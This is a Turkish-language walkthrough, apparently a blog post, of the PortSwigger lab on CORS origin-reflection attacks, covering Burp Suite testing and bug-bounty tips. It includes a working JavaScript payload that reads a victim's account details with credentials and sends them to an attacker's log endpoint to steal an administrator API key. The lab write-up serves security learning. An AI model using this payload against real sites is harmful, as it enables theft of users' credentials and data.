Öncelikle bu zafiyeti ilk kez duyanlar için aldığım notlardan,kısa bir açıklama yapmam gerekli.
Cors : Access-Control-Allow-Origin — Same Origin Policy (sop)
(SOP) uygulamalar arasında bilgi paylaşımını kısıtladı ve yalnızca uygulamanın barındırıldığı alan içinde paylaşıma izin verdi.
Web sitesinin çalışma mantığına göre;pratiklik amacıyla bir alt alandan diğerine veya farklı alanlar arasında bilgi aktarmaya ihtiyaç vardır.
Googlink yapıp daha fazla okuyun;
https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
https://portswigger.net/web-security/cors
https://www.buraksenyurt.com/post/cors-cross-origin-resource-sharing
Uygulama yapacağımız LAB 1 URI ; https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
Bir kullanıcı hesabımız var ve amacımız javascript koduyla yöneticinin API bilgisini almak.
Kullanıcı hesabıma giriş yapıp Burp Proxy’mi aktif hale getiriyorum.

Buradaki önemli nokta Response’dan aldığımız cevaptır. Bu cevap /accountDetails (yani My Account butonu ) kısmında yer alıyor. Ancak Response’dan cevap alabilmemiz için farklı sekmelerde gezinmemiz gerekiyor.
Security Header olan, Acces Control Allow Credentials : true olarak dönüyor.Yani farklı web platformlarından kaynak dahil edebileceğimiz anlamına geliyor.
Öyleyse test edelim. Bu isteğimizi Repeater’a atalım.

İsteğime ek olarak “Origin” headeri ekliyorum ve saldırgan web adresimi ekliyorum.İsteği gönderdiğimde sunucu tarafında bu isteği onaylıyor.
Exploit Aşaması
Exploitimiz
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
$url kısmını kendi lab url’nize göre düzeltmeyi unutmayın.
Go To Exploit Server butonuna basıyorum.

Body kısmına exploitimi yapıştırıyorum.Ardından Deliver exploit to victim diyorum. Ardından Acces Log diyorum

Log dosyamda Administrator’un API Key’i url encode’lu şekilde çıkıyor. Burp Decoder ile hemen çözelim.

Sağ taraftan Decode as URL seçin.Ardından API Key’i , üst barda bulunan Submit Solution ile gönderin.
Bug Bounty ?
Google’a CORS Vulnerability Hackerone yazarak gönderilen raporları okuyabilirsiniz.
Burp Suite ile kullanıcı uç noktalarını (User endpoint) yani apileri keşfetmeyi unutmayın.
Web platformunun hangi dış kaynaklarla çalıştığını keşfedin.
İşte Bazı PoC’larım ;